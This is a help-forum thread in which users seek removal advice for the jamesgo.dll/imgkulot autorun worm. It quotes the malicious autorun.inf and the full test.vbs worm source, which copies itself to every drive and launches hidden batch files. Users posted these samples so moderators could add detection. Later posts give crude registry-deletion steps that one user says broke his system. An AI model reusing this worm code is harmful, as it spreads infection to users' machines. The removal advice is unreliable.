Can"t Detect A Virus In My Hdd (jamesgo.dll)

any update about a virus name : (jamesgo.dll) ????????????

here it goes, when i double click my drive C: its open da C: window and after a sec its automaticaly open the MS word!! and if i right click the drive C: in the OPEN menu says "Open(jamesgo.dll)"

plz help me.. iam using bd internet security 2008

Find more posts tagged with

Comments

Cd-MaN

Hello.

As a first step to diagnose the problem we would need the autorun.inf file from your C:\ drive. To get this, open notepad, press Ctrl+O (or go to File -> Open) and type in "c:\autorun.inf" in the "File name" box. When the file is open, please copy-paste its contents to a reply so that we can determine the name of the malicious file.

Best regards.

psalmjcc

i think this is what you need... hey thanks if you ever get some solution to our problems... my avg free edition can't seem to find it... thanks again for the help... God bless you

[autorun]

open=

shell\open=Open(jamesgo.dll)

shell\open\Command=WScript.exe .\test.vbs

shell\open\Default=1

shell\explore=explore(jamesgo.dll)

shell\explore\Command=WScript.exe .\test.vbs

icon = autorun.ico

rudyard3

Please Help....

Are there any updates on this topic. I just got back from a conference where about 100 people received this virus, which pretty much ######. I was told that this virus is related to the IMGKULOT virus. I have tried to search my entire computer for either ingkulot or jamesgo.dll and the only place it seems to show up is in the registry. I have tried to use the techniques for imgkulot removal, but it did not work. I also have this jamesgo.dll on my thumbdrives and can not remove it from them either. I did the ctrl O and I have the same files on autorun as listed in the above post. If anyone has information on these viruses please let me know. Thank you very much in advance.

"A Very Frustrated" Rudyard3

Cd-MaN

The virus itself is most probably in the file test.vbs according to the contents of the autorun.inf. Please attach a copy of this file to a post so that we can add detection for it.

psalmjcc

how do we find this find. i can't seem to find it using the search option. any idea where this file might be located? rudyard and isugdave, are you in the philippines? the virus seems to sound like it's filipino made...

Cd-MaN

You probably can't find it because it's marked as hidden. Use the same steps as opening the autorun.inf to open test.vbs (which is most probably located in the root of the drive also). So after pressing Ctrl+O, type c:\test.vbs and use the save as function to save it to a known location (your desktop for example) and attach it to a post on the forum.

Best regards.

psalmjcc

'imgkulot v1.0

'Iloilo City Phils

'email me if you found this @ jamesgo.dll@gmail.com

'edited from imgkulot on july 2007

on error resume next

Set WshShell =CreateObject("WScript.Shell")

For i=1 to 1

set Of = CreateObject("Scripting.FileSystemObject")

set dir = Of.GetSpecialFolder(1)

Set dc = Of.Drives

if WScript.ScriptFullName=dir&"\test.vbs" then

isdir=true

else

a=WshShell.Run("test.bat Open" ,0,False)

a=WshShell.Run("winword " ,1,False)

isdir=false

end if

For Each d In dc

If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then

a=WshShell.Run("test.bat - "&d ,0,True)

if isdir then

Of.CopyFile dir&"\test.*",d&"\",True

Of.CopyFile dir&"\autorun.inf",d&"\",True

Of.CopyFile dir&"\autorun.ico",d&"\",True

else

Of.CopyFile "test.*",d&"\",True

Of.CopyFile "autorun.inf",d&"\",True

Of.CopyFile dir&"\autorun.ico",d&"\",True

end if

a=WshShell.Run("test.bat + "&d ,0,True)

End If

if isdir then

wscript.sleep 60000

i=0

else

a=WshShell.Run("test.bat - "&dir ,0,True)

Of.CopyFile "test.*",dir&"\",True

Of.CopyFile "autorun.inf",dir&"\",True

Of.CopyFile "autorun.ico",dir&"\",True

a=WshShell.Run("test.bat + "&dir ,0,True)

end if

psalmjcc

okay... thanks cdman for the help... the one i posted before this is what i got from following your instructions... the first time i tried the file icon had an "S" on it... I think it change from a text file to something else... anyways, thanks again cdman for the great help... God bless you...

psalmjcc

hey, cd-man, hope you can give us some solution to our problems... thanks again and God bless

arwiny

im also having a problem with this virus.....plssss help.....

vlad

Simply deleting test.vbs will do. I'll try to add detection for it based on the previous post.

psalmjcc

hey,, thanks for the help...

sepjoe11

Hi! I found a great way to remove the virus jamesgo.dll.

My laptop was inflicted with the same virus about 5 days ago.

I wanted to just let it lie around but my antivirus keeps on prompting that it's blocking the suspicious activity.

Besides, I don't like the new icons of my hard disk and the open(jamesgo.dll) . It reminds me of the "ill-health" of my laptop.

After tinkering with my laptop last night, I found a great way to remove the virus.

Here are the steps:

1. Restart your PC in safe mode.

2. Open regedit.

3. Find all test.bat codes and erase them one by one until your registry is clean.

4. Find test.vbs codes and erase all of them.

5. Find jamesgo.dll and erase the string "jamesgo.dll". Continue searching and erasing until your registry is clean.

6. Repeat the process once or twice to ensure that the data has been erased.

GIVE IT A TRY!!! It worked for me.

I'm still looking for a way to remove it from my usb flash drive, though.

Please don't forget to visit my site: kilitext.blogspot.com :-)

darkkon

Hi! I found a great way to remove the virus jamesgo.dll.

My laptop was inflicted with the same virus about 5 days ago.

I wanted to just let it lie around but my antivirus keeps on prompting that it's blocking the suspicious activity.

Besides, I don't like the new icons of my hard disk and the open(jamesgo.dll) . It reminds me of the "ill-health" of my laptop.

After tinkering with my laptop last night, I found a great way to remove the virus.

Here are the steps:

1. Restart your PC in safe mode.

2. Open regedit.

3. Find all test.bat codes and erase them one by one until your registry is clean.

4. Find test.vbs codes and erase all of them.

5. Find jamesgo.dll and erase the string "jamesgo.dll". Continue searching and erasing until your registry is clean.

6. Repeat the process once or twice to ensure that the data has been erased.

GIVE IT A TRY!!! It worked for me.

I'm still looking for a way to remove it from my usb flash drive, though.

Please don't forget to visit my site: kilitext.blogspot.com :-)

Hey Sep!

Are you sure this works? I tried it my self and it messed up my windows registry. I could't log-in to any user cuz it keeps on logging of automatically. Even safe mode didn't work, so i had to repair it using windows xp cd. Who else have tried it? Did it work? All my pcs at home have the virus and its pretty annoying.

Thanks guys,

Lets kill this darn virus!

deltashock

ive been infected by it recently but i deleted it somehow heres the files...

/applications/core/interface/file/attachment.php?id=19743" data-fileExt='zip' data-fileid='19743'>Test.rar.zip

Test.rar.zip

morjy

guys

can u help me to delete my virus jamesgo.Dll

i dont know what i should do

im only beginner to handle virusess

please help me

thanks in advance

deltashock

i think BD can detect it now... it detected mine a while ago... thnx to all the mods here for a quick solution...

sting_1215

[From: sting_1215

its so easy to kick out that jamesgo.dll to your PC. first thing to do is restart your PC in safe mode.

1. at drive C:/ click folder options then set all to unhide all files because the file you are about to delete are hidden.

2. Open windows/system32 then you can see the AUTORUN.INF, TEST.REG, TEST.BAT, AND TEST.VBS. delete it all.

3. Next, go to drive C:/ root drive then delete AUTORUN.INF, TEST.REG, TEST.BAT, AND TEST.VBS.

4. After that, got to REGEDIT.exe then find AUTORUN.INF, TEST.REG, TEST.BAT, TEST.VBS and jamesgo.dll. Delete all that ###### until none of them are inside your registry.

5. Next thing to do is restart your PC in normal mode, Then, thats all!!! your hdd icon will appear and the ###### jamesgo.dll will disappear.

*Note* dont forget to reformat your partition if have and also your criminal flash drive. your flash drive is the one who install that ###### jamesgo.dll. I hope you can follow my instruction.

jordanorobia

[From: sting_1215

its so easy to kick out that jamesgo.dll to your PC. first thing to do is restart your PC in safe mode.

1. at drive C:/ click folder options then set all to unhide all files because the file you are about to delete are hidden.

2. Open windows/system32 then you can see the AUTORUN.INF, TEST.REG, TEST.BAT, AND TEST.VBS. delete it all.

3. Next, go to drive C:/ root drive then delete AUTORUN.INF, TEST.REG, TEST.BAT, AND TEST.VBS.

4. After that, got to REGEDIT.exe then find AUTORUN.INF, TEST.REG, TEST.BAT, TEST.VBS and jamesgo.dll. Delete all that ###### until none of them are inside your registry.

5. Next thing to do is restart your PC in normal mode, Then, thats all!!! your hdd icon will appear and the ###### jamesgo.dll will disappear.

*Note* dont forget to reformat your partition if have and also your criminal flash drive. your flash drive is the one who install that ###### jamesgo.dll. I hope you can follow my instruction.

these does not solve the problem! can anyone solve these exept formating the hard drive?

sting_1215

Hey guys! this is really a good suggestion on how to remove the jamesgo.dll. The question is, Did you follow the instructions???

Every office here where i assigned already experiencing trouble with this jamesgo.dll except our PC because i already know how to terminate that ###### worms.

If you can follow my instructions then it can help you! why should i post this instructions if it doesnt work?

Mc afee 2007 version 11.0 can detect and delete the worms brought by jamesgo.dll and can repair the damage files. after removing the worms from my PC, i nstall the mc afee and i found out that it blocks the worms made by jamesgo.dll and prevent it from replicating and totally diasspeared.

You can add me sting_1215 yahoo messenger for one on one instructions via chat.

Text me here 09215516701 so that i will know that you are Online.

sting_1215

i think you cannot only follow the instructions i gave that is why you said it cant help you. <img class= " />

kayo n nga tinutulungan puro p kayo reklamo!! napakadali nmn gawin!!! <img class= " />

sting_1215

the worm is hiding in system32 folder. delete it!!!!!

kankunis

Thanks, found a working instructions to remove jamesgo.dll